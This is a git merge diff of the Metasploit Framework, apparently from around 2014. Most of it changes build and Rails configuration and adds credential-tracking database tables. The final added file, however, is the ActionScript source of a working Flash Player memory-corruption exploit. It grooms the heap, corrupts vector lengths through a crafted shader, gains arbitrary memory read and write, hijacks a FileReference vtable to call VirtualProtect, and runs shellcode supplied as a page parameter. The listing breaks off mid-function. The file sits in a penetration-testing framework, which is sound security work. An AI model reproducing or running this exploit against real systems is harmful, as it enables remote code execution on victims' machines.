Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation
Conflicts: Gemfile.lockbug/bundler_fix
commit
9471e597b6
|
@ -50,6 +50,9 @@ tags
|
|||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
|
37
Gemfile
37
Gemfile
|
@ -12,28 +12,28 @@ gem 'json'
|
|||
gem 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
gem 'nokogiri'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.9'
|
||||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||
gem 'railties'
|
||||
# Needed by JSObfu
|
||||
gem 'rkelly-remix', '0.0.6'
|
||||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.9'
|
||||
# required for Time::TZInfo in ActiveSupport
|
||||
gem 'tzinfo'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
# Metasploit::Creential database models
|
||||
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.1.2-metasploit-credential'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.17.0'
|
||||
gem 'metasploit_data_models', '~> 0.17.1'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
gem 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
|
@ -46,19 +46,26 @@ group :development, :test do
|
|||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
gem 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# Removes records from database created during tests. Can't use rspec-rails'
|
||||
# transactional fixtures because multiple connections are in use so
|
||||
# transactions won't work.
|
||||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
|
|
59
Gemfile.lock
59
Gemfile.lock
|
@ -11,6 +11,16 @@ GIT
|
|||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (3.2.17)
|
||||
activemodel (= 3.2.17)
|
||||
activesupport (= 3.2.17)
|
||||
builder (~> 3.0.0)
|
||||
erubis (~> 2.7.0)
|
||||
journey (~> 1.0.4)
|
||||
rack (~> 1.4.5)
|
||||
rack-cache (~> 1.2)
|
||||
rack-test (~> 0.6.1)
|
||||
sprockets (~> 2.2.1)
|
||||
activemodel (3.2.17)
|
||||
activesupport (= 3.2.17)
|
||||
builder (~> 3.0.0)
|
||||
|
@ -25,17 +35,22 @@ GEM
|
|||
arel (3.0.3)
|
||||
bcrypt (3.1.7)
|
||||
builder (3.0.4)
|
||||
database_cleaner (1.2.0)
|
||||
diff-lcs (1.2.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.4.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.4.1)
|
||||
factory_girl (~> 4.4.0)
|
||||
railties (>= 3.0.0)
|
||||
fivemat (1.2.1)
|
||||
hike (1.2.3)
|
||||
i18n (0.6.9)
|
||||
journey (1.0.4)
|
||||
json (1.8.1)
|
||||
metasploit-concern (0.0.4)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
metasploit_data_models (0.17.0)
|
||||
activerecord (>= 3.2.13)
|
||||
metasploit_data_models (0.17.1)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
pg
|
||||
mini_portile (0.5.3)
|
||||
|
@ -47,7 +62,23 @@ GEM
|
|||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.17.1)
|
||||
rack (1.4.5)
|
||||
rack-cache (1.2)
|
||||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack-test (0.6.2)
|
||||
rack (>= 1.0)
|
||||
railties (3.2.17)
|
||||
actionpack (= 3.2.17)
|
||||
activesupport (= 3.2.17)
|
||||
rack-ssl (~> 1.3.2)
|
||||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.3.1)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
redcarpet (3.1.1)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
|
@ -59,6 +90,14 @@ GEM
|
|||
rspec-expectations (2.14.5)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.14.6)
|
||||
rspec-rails (2.14.2)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rubyntlm (0.4.0)
|
||||
shoulda-matchers (2.6.0)
|
||||
activesupport (>= 3.0.0)
|
||||
|
@ -66,6 +105,13 @@ GEM
|
|||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
sprockets (2.2.2)
|
||||
hike (~> 1.2)
|
||||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
thor (0.19.1)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.1)
|
||||
tzinfo (0.3.39)
|
||||
yard (0.8.7.4)
|
||||
|
@ -77,24 +123,27 @@ DEPENDENCIES
|
|||
activerecord (>= 3.0.0, < 4.0.0)
|
||||
activesupport (>= 3.0.0, < 4.0.0)
|
||||
bcrypt
|
||||
database_cleaner
|
||||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
fivemat (= 1.2.1)
|
||||
json
|
||||
metasploit-credential!
|
||||
metasploit_data_models (~> 0.17.0)
|
||||
metasploit_data_models (~> 0.17.1)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
railties
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
rkelly-remix (= 0.0.6)
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
rspec-rails
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
timecop
|
||||
tzinfo
|
||||
yard
|
||||
|
|
83
Rakefile
83
Rakefile
|
@ -1,81 +1,4 @@
|
|||
require 'bundler/setup'
|
||||
#!/usr/bin/env rake
|
||||
require File.expand_path('../config/application', __FILE__)
|
||||
|
||||
pathname = Pathname.new(__FILE__)
|
||||
root = pathname.parent
|
||||
|
||||
# add metasploit-framework/lib to load paths so rake files can just require
|
||||
# files normally without having to use __FILE__ and recalculating root and the
|
||||
# path to lib
|
||||
lib_pathname = root.join('lib')
|
||||
$LOAD_PATH.unshift(lib_pathname.to_s)
|
||||
|
||||
#
|
||||
# load rake files like a rails engine
|
||||
#
|
||||
|
||||
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
|
||||
|
||||
Dir.glob(rakefile_glob) do |rakefile|
|
||||
# Skip database tasks, will load them later if MDM is present
|
||||
next if rakefile =~ /database\.rake$/
|
||||
load rakefile
|
||||
end
|
||||
|
||||
print_without = false
|
||||
|
||||
begin
|
||||
require 'rspec/core/rake_task'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
|
||||
print_without = true
|
||||
else
|
||||
RSpec::Core::RakeTask.new(:spec => 'db:test:prepare')
|
||||
|
||||
task :default => :spec
|
||||
end
|
||||
|
||||
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
|
||||
# YARD is not defined when yard.rake is loaded.
|
||||
begin
|
||||
require 'yard'
|
||||
rescue LoadError
|
||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||
"To generate documentation ensure to install the development group."
|
||||
|
||||
print_without = true
|
||||
end
|
||||
|
||||
begin
|
||||
require 'metasploit_data_models'
|
||||
rescue LoadError
|
||||
puts "metasploit_data_models not in bundle, so can't set up db tasks. " \
|
||||
"To run database tasks, ensure to install the db bundler group."
|
||||
|
||||
print_without = true
|
||||
else
|
||||
load 'lib/tasks/database.rake'
|
||||
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
|
||||
'lib',
|
||||
'tasks',
|
||||
'**',
|
||||
'*.rake'
|
||||
).to_s
|
||||
# include tasks from metasplioit_data_models, such as `rake yard`.
|
||||
# metasploit-framework specific yard options are in .yardopts
|
||||
Dir.glob(metasploit_data_models_task_glob) do |path|
|
||||
load path
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
if print_without
|
||||
puts "Bundle currently installed " \
|
||||
"'--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` " \
|
||||
"(the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and " \
|
||||
"then `bundle install`"
|
||||
end
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
|
|
|
@ -0,0 +1,42 @@
|
|||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
# only the parts of 'rails/all' that metasploit-framework actually uses
|
||||
begin
|
||||
require 'active_record/railtie'
|
||||
rescue LoadError
|
||||
warn "activerecord not in the bundle, so database support will be disabled."
|
||||
warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'"
|
||||
warn "To clear the without option do `bundle install --without ''` " \
|
||||
"(the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and " \
|
||||
"then `bundle install`"
|
||||
end
|
||||
|
||||
all_environments = [
|
||||
:development,
|
||||
:production,
|
||||
:test
|
||||
]
|
||||
|
||||
Bundler.require(
|
||||
*Rails.groups(
|
||||
db: all_environments,
|
||||
pcap: all_environments
|
||||
)
|
||||
)
|
||||
|
||||
require 'msf/base/config'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
class Application < Rails::Application
|
||||
user_config_root = Pathname.new(Msf::Config.get_config_root)
|
||||
user_database_yaml = user_config_root.join('database.yml')
|
||||
|
||||
if user_database_yaml.exist?
|
||||
config.paths['config/database'] = [user_database_yaml.to_path]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
require 'pathname'
|
||||
require 'rubygems'
|
||||
|
||||
bundle_gemfile = ENV['BUNDLE_GEMFILE']
|
||||
|
||||
config_pathname = Pathname.new(__FILE__).expand_path.parent
|
||||
root = config_pathname.parent
|
||||
|
||||
if bundle_gemfile
|
||||
bundle_gemfile = Pathname.new(bundle_gemfile)
|
||||
else
|
||||
bundle_gemfile = root.join('Gemfile')
|
||||
end
|
||||
|
||||
if bundle_gemfile.exist?
|
||||
ENV['BUNDLE_GEMFILE'] = bundle_gemfile.to_path
|
||||
|
||||
begin
|
||||
require 'bundler'
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
exit(0)
|
||||
end
|
||||
end
|
||||
|
||||
Bundler.setup
|
||||
|
||||
lib_path = root.join('lib').to_path
|
||||
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
# Load the rails application
|
||||
require File.expand_path('../application', __FILE__)
|
||||
|
||||
# Initialize the rails application
|
||||
Metasploit::Framework::Application.initialize!
|
Binary file not shown.
93
db/schema.rb
93
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130717150737) do
|
||||
ActiveRecord::Schema.define(:version => 20140417140933) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -167,6 +167,97 @@ ActiveRecord::Schema.define(:version => 20130717150737) do
|
|||
t.binary "prefs"
|
||||
end
|
||||
|
||||
create_table "metasploit_credential_cores", :force => true do |t|
|
||||
t.integer "origin_id", :null => false
|
||||
t.string "origin_type", :null => false
|
||||
t.integer "private_id"
|
||||
t.integer "public_id"
|
||||
t.integer "realm_id"
|
||||
t.integer "workspace_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id"
|
||||
add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id"
|
||||
add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id"
|
||||
add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id"
|
||||
add_index "metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id"
|
||||
|
||||
create_table "metasploit_credential_logins", :force => true do |t|
|
||||
t.integer "core_id", :null => false
|
||||
t.integer "service_id", :null => false
|
||||
t.string "access_level"
|
||||
t.string "status", :null => false
|
||||
t.datetime "last_attempted_at"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
|
||||
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
|
||||
|
||||
create_table "metasploit_credential_origin_imports", :force => true do |t|
|
||||
t.text "filename", :null => false
|
||||
t.integer "task_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id"
|
||||
|
||||
create_table "metasploit_credential_origin_manuals", :force => true do |t|
|
||||
t.integer "user_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id"
|
||||
|
||||
create_table "metasploit_credential_origin_services", :force => true do |t|
|
||||
t.integer "service_id", :null => false
|
||||
t.text "module_full_name", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true
|
||||
|
||||
create_table "metasploit_credential_origin_sessions", :force => true do |t|
|
||||
t.text "post_reference_name", :null => false
|
||||
t.integer "session_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true
|
||||
|
||||
create_table "metasploit_credential_privates", :force => true do |t|
|
||||
t.string "type", :null => false
|
||||
t.text "data", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true
|
||||
|
||||
create_table "metasploit_credential_publics", :force => true do |t|
|
||||
t.string "username", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true
|
||||
|
||||
create_table "metasploit_credential_realms", :force => true do |t|
|
||||
t.string "key", :null => false
|
||||
t.string "value", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true
|
||||
|
||||
create_table "mod_refs", :force => true do |t|
|
||||
t.string "module", :limit => 1024
|
||||
t.string "mtype", :limit => 128
|
||||
|
|
|
@ -0,0 +1,411 @@
|
|||
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
|
||||
package {
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.display.Shader;
|
||||
import flash.system.Capabilities;
|
||||
import flash.net.FileReference;
|
||||
import flash.utils.Endian;
|
||||
import __AS3__.vec.Vector;
|
||||
import __AS3__.vec.*;
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Graph extends Sprite {
|
||||
|
||||
static var counter:uint = 0;
|
||||
|
||||
protected var Shad:Class;
|
||||
var shellcode_byte_array:ByteArray;
|
||||
var aaab:ByteArray;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Graph(){
|
||||
var tweaked_vector:* = undefined;
|
||||
var tweaked_vector_address:* = undefined;
|
||||
var shader:Shader;
|
||||
var flash_memory_protect:Array;
|
||||
var code_vectors:Array;
|
||||
var address_code_vector:uint;
|
||||
var address_shellcode_byte_array:uint;
|
||||
this.Shad = Graph_Shad;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
var j:* = 0;
|
||||
|
||||
// Just one try
|
||||
counter++;
|
||||
if (counter > 1)
|
||||
{
|
||||
return;
|
||||
};
|
||||
|
||||
// Memory massage
|
||||
var array_length:uint = 0x10000;
|
||||
var vector_size:uint = 34;
|
||||
var array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(vector_size);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i].length = 0;
|
||||
i++;
|
||||
};
|
||||
i = 0x0200;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[(i - (2 * (j % 2)))].length = 0x0100;
|
||||
i = (i + 28);
|
||||
j++;
|
||||
};
|
||||
|
||||
// Overflow and Search for corrupted vector
|
||||
var corrupted_vector_idx:uint;
|
||||
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
||||
shadba.position = 232;
|
||||
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
||||
{
|
||||
shadba.writeUnsignedInt(2472);
|
||||
};
|
||||
shadba.position = 0;
|
||||
while (1)
|
||||
{
|
||||
shader = new Shader();
|
||||
try
|
||||
{
|
||||
shader.byteCode = (new this.Shad() as ByteArray);
|
||||
} catch(e)
|
||||
{
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
if (array[i].length > 0x0100)
|
||||
{
|
||||
corrupted_vector_idx = i;
|
||||
break;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
if (i != array_length)
|
||||
{
|
||||
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
||||
};
|
||||
array.push(new Vector.<int>(vector_size));
|
||||
};
|
||||
|
||||
// Tweak the vector following the corrupted one
|
||||
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
||||
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
||||
|
||||
// repair the corrupted vector by restoring its
|
||||
// vector object pointer and length
|
||||
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
||||
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
||||
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
||||
i = 0;
|
||||
var val:uint;
|
||||
while (true)
|
||||
{
|
||||
val = tweaked_vector[(0x40000000 - i)];
|
||||
if (val == 0x90001B) break;
|
||||
i++;
|
||||
};
|
||||
tweaked_vector_address = 0;
|
||||
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
||||
{
|
||||
tweaked_vector[4] = 0x41414141;
|
||||
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
||||
};
|
||||
|
||||
// More memory massage, fill an array of FileReference objects
|
||||
var file_reference_array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i] = new FileReference();
|
||||
i++;
|
||||
};
|
||||
|
||||
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
||||
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
||||
var do_it:Boolean = true;
|
||||
var memory_protect_ptr:uint;
|
||||
var aaaq:uint;
|
||||
if (do_it)
|
||||
{
|
||||
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
||||
memory_protect_ptr = flash_memory_protect[0];
|
||||
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
||||
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(code_vectors);
|
||||
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
||||
tweaked_vector[4] = aaaq;
|
||||
tweaked_vector[0] = 0x1000; // Length
|
||||
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
||||
|
||||
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
||||
|
||||
// 1) Set memory as executable
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// 2) Execute shellcode
|
||||
tweaked_vector[7] = address_code_vector;
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// Restore FileReference cancel function pointer
|
||||
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
||||
};
|
||||
}
|
||||
|
||||
// returns the integer at memory address
|
||||
// vector: vector with tweaked length
|
||||
// vector_address: vector's memory address
|
||||
// address: memory address to read
|
||||
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
||||
if (address >= vector_address)
|
||||
{
|
||||
return (vector[((address - vector_address) / 4)]);
|
||||
};
|
||||
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
||||
}
|
||||
|
||||
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
||||
if (address >= vector_address)
|
||||
{
|
||||
vector[((address - vector_address) / 4)] = value;
|
||||
} else
|
||||
{
|
||||
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
||||
};
|
||||
}
|
||||
|
||||
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
||||
var content:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
var index:uint;
|
||||
var memory_protect_ptr:uint;
|
||||
var _local_6:uint;
|
||||
if (allocation >= vector_address)
|
||||
{
|
||||
index = ((allocation - vector_address) / 4);
|
||||
} else
|
||||
{
|
||||
index = (0x40000000 - ((vector_address - allocation) / 4));
|
||||
};
|
||||
|
||||
//push 1 ; 6a 01
|
||||
//push dword ptr [eax-8] ; ff 70 f8
|
||||
//push dword ptr [eax-4] ; ff 70 fc
|
||||
//call sub_1059DD00 // Will do VirtualProtect
|
||||
var offset:uint;
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0xfff870ff)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
if (content == 0xf870ff01)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
if (content == 0x70ff016a)
|
||||
{
|
||||
content = vector[(index + 1)];
|
||||
if (content == 0xfc70fff8)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
} else
|
||||
{
|
||||
if (content == 0x70fff870)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
||||
index--;
|
||||
var content_before:uint = vector[index];
|
||||
|
||||
if (content_before == 0x16a0424)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x6a042444)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x424448b)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0xff016a04)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
_local_6 = (memory_protect_ptr - 6);
|
||||
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0x850ff50)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFFFF00);
|
||||
if (content == 0x50FF5000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xcc48308)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFF0000);
|
||||
if (content == 0xFF500000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xc4830850)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
content = (content & 0xFF000000);
|
||||
if (content == 0x50000000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x830850ff)
|
||||
{
|
||||
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
}
|
||||
|
||||
// vector: vector with tweaked length
|
||||
// address: memory address of vector data
|
||||
function find_file_ref_vtable(vector:*, address:*):uint{
|
||||
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
||||
|
||||
// Find an allocation of size 0x2a0
|
||||
var allocation_size:uint;
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
||||
if (allocation_size == 0x2a0) break;
|
||||
if (allocation_size < 0x2a0)
|
||||
{
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
} else
|
||||
{
|
||||
allocation = (allocation - 0x24); // prior allocation
|
||||
};
|
||||
};
|
||||
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
||||
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
||||
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
||||
};
|
||||
return (allocation_contents);
|
||||
}
|
||||
|
||||
// Returns pointer to the nops in one of the allocated code vectors
|
||||
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
||||
var allocation_size:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
while (true)
|
||||
{
|
||||
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
||||
if (allocation_size == 0x7f0) break; // Code Vector found
|
||||
allocation = (allocation + 0x24); // next allocation
|
||||
};
|
||||
|
||||
// allocation contents should be the vector code, search for the mark 0x45454545
|
||||
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
||||
while (true)
|
||||
{
|
||||
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
||||
